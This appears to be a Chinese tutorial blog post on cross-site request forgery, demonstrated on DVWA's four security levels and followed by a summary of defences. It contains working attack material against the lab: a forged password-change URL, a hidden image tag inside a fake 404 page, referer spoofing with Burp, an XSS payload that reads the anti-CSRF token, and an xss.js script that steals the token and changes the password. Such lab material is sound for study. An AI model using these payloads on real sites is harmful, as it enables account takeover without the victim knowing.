目录

什么是CSRF?

DVWA中的CSRF

low

medium

hight

 impossible

防御CSRF

1、验证码

2、referer校验

3、cookie的Samesite属性

4、Anti-CSRF-Token


什么是CSRF?

CSRF全称为跨站请求伪造(Cross-site request forgery),它是一种常见的Web攻击,下面我就来给大家通过学习+复习的方式介绍一下CSRF漏洞,并且会演示一下攻击过程和防御方案

用户在使用浏览器访问页面的操作,实际上是向服务器发送HTTP请求来实现的。

比如说有一个在一个博客中对一个博主的“添加关注”的操作就是向如下URL发起GET请求实现的:

http://example.com/follow?id=userid,这里的userid就是某个博主的id,正常用户是自己点击关注然后就访问该页面,但是如果被攻击者利用,用户在登录了example.com的前提下,然后访问了而已用户构造的恶意网站,网站中有一张指向www.example.com/follow?id=1111,那么浏览器就会带着用户的cookie发出了这个请求,然后就关注了id=1111的用户,但是这是在用户不知情的情况下执行的操作,这种攻击就是CSRF攻击

CSRF常见的利用场景:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马  让更多人的受害
7、控制受害者机器向其它网站发起攻击

DVWA中的CSRF

下面我就使用DVWA中的不同级别的csrf来演示一下该漏洞的攻击:

low

首先将安全级别修改为low:

然后来到csrf这里:
可以看到这里我们在不输入原本密码的前提,就可以直接修改密码

那么来试试修改一下密码:

可以看到输入密码后就显示密码改变了,并且在url中也很明显可以看到更改时的url

那么现在我们就可以构造一个恶意的url:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

如果将上面的URL发动给用户,用户肯定不会随意点击,但是如果我们将该url缩短一下,用户点击的概率就会大概率提升:

然后将该链接发送给用户,用户点击后,密码就会修改:

但是网站还是会提示我们,并且将原来的长连接显示出来,这里我就继续访问了:

点击后的页面:

 现在我们退出后再次登录就会发现密码已经改变了

为了增加成功的概率也可以构造一个错误页面:

<img src=“http://192.168.159.1/dvwa-/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#” border=“0” style=“display:none;”/>

<h1>404<h1>

<h2>file not found.<h2>

看起来是一个404页面,但是当用户访问后,密码就会被修改了

medium

既然low没有任何难度,那么我们来到将安全级别修改为medium

等级修改完成,来到CSRF攻击页面,可以看到还是可以不要输入原密码,就可以直接修改密码

那么尝试使用上面的方法来尝试一下:

这里却爆出了说我们的请求看起来是错误的,那么到底是为什么呢?

我们来看看源代码:
 

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

stripos()函数 :查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 

通过与第一关的代码对比发现这里多了一个REFERER 字段,这里判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERER是Referer参数值,即来源地址 SERVER_NAME是host参数及主机ip名 ,因此这我们就必须要让Referer参数值中有主机名 :

我们可以对比一下在dvwa中修改密码和使用点击短链接来修改密码,浏览中referer字段的区别:

dvwa中修改:

短链接修改:

可以看到这两种方式修改时的referer是不同的,因此我们使用这种方法无法修改密码,但是仅仅使用referer来防御CSRF攻击是不行的,因为referer是可以被修改的,我们可以使用Burpsuite来抓包修改referer然后在发送就可以成功的修改了,下面演示一下:

在使用短链接方式访问的同时,使用Burpsuite抓包来修改referer:

抓到的数据包,修改referer后访问:

可以看到这样成功的绕过了referre限制,然后密码被修改了

hight

那么再将安全等级修改为hight看看csrf这里有什么变化:

可以看到这里还是可以不需要使用原本的密码就可以直接修改密码,但是我尝试了上面的两种方法都无法成功攻击,那么来看看源代码:
 

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到这里有多了几个防御手段:

1、判断提交的方式是否为POST

2、获取了了HTTP_USER_TOKEN

3、在密码中还使用了mysqli_real_escap_string函数对特殊字符进行了转义

4、并且对密码进行了md5加密

只有上面的条件都满足,才会执行密码修改操作

尝试访问了一下发现确实多了一个token字段:

这里攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。

但是,因为浏览器并不允许跨域请求,我们可以利用xss漏洞来解决

点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:

一是利用burp suite进行抓包,然后改参数,运行获取token。

二是利用火狐浏览器。

这里我使用第二种,火狐浏览器打开xss(Reflect)界面

然后构造代码提交:

iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>

然后就可以看到反弹出了token 

然后我们在制造恶意链接的时候加上该token,使用抓包的方式修改然后转发就可以实现密码修改了

也可以利用DOM型的xss+CSRF佬实现密码修改:

xss.js:

alert(document.cookie);
var theUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
            var token = match[1];
                var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                if(count==0){
                    count++;
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
                

    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

然后将xss.js放置于在攻击者的网站上:http://127.0.0.1/xss.js

最后CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://127.0.0.1/vulnerabilities/xss_d/?default=English #<script src="http://127.0.0.1/xss.js"></script>

 impossible

最后来到了impossible级别了:这里尝试使用了上面三种方法都无法成功,看看源代码:
 

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

从代码中可以看到这里多了一个字段,原始的密码,这就要求攻击者要知道原本的密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击,并且后面利用PDO技术防御因此本关暂时还是没有办法绕过的

防御CSRF

下面总结一下防御CSRF漏洞的几种方法:

1、验证码

因为CSRF是在用户不知情的情况下构造了网络请求,而验证码则需要用户必须与软件进行交互才能完成最终请求,因此验证码可以有效的防御CSRF攻击,但是处于用户的体验,网站如果给每个操作都设置验证码,则用户体验会非常的不好,因此这并不是完美的方案

2、referer校验

从上面的演示中也可以看到,使用referer字段可以有一定程度上防御csrf攻击,但是有一些浏览器因为要保护用户的个人隐私,禁止referer,并且referer是可以被修改的,如果攻击者使用iframe记载了data中的url,或者设置了Referer-Policy,都可以不发送referer,这些都会导致防御失效,因此使用refere校验只是防御csrf攻击的辅助手段

3、cookie的Samesite属性

SameSite是一个新的安全属性,服务端在Set-Cookie响应头中通过设置SameSite属性指示是否可以跨域请求中发送该cookie

它有三种值:

  • None

不做任何限制,任何场景都会发送cookie,但是当SameSite为None时,要求cookie只能在HTTPS协议中发送

  • LAX

在普通的跨域请求中都不发送cookie,但是导航到其他网站时会发送cookie

  • Strict

完全禁止在跨站请求中发送cookie,只有当请求的站点与浏览器地址栏中URL中的域名同属一个站点时才会发生那个cookie

可以看到Samesite属性只是限制是否可以发送cookie,但是当我们将SameSite设置为LAX时,网站导航跳转和GET请求都会携带上cookie,这也会造成CSRF漏洞,但是如果设置为Stict虽然不会产生漏洞,但是用户的体验会非常差,因此这个Samesite属性也不是防御CSRF攻击的最佳方案

4、Anti-CSRF-Token

 最终的防御方案就是Token了,CSRF攻击成功的原因就在于所有的参数都是可以被攻击者猜到的,攻击者猜到了参数,然后伪造数据就可以成功攻击,那么针对这一点token的解决方法就是让攻击者“猜不到”,token就是随机生成的一串字符,将其放在cookie或者session中,这样就攻击者就无法猜测出,这样就成功的防御了CSRF攻击

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐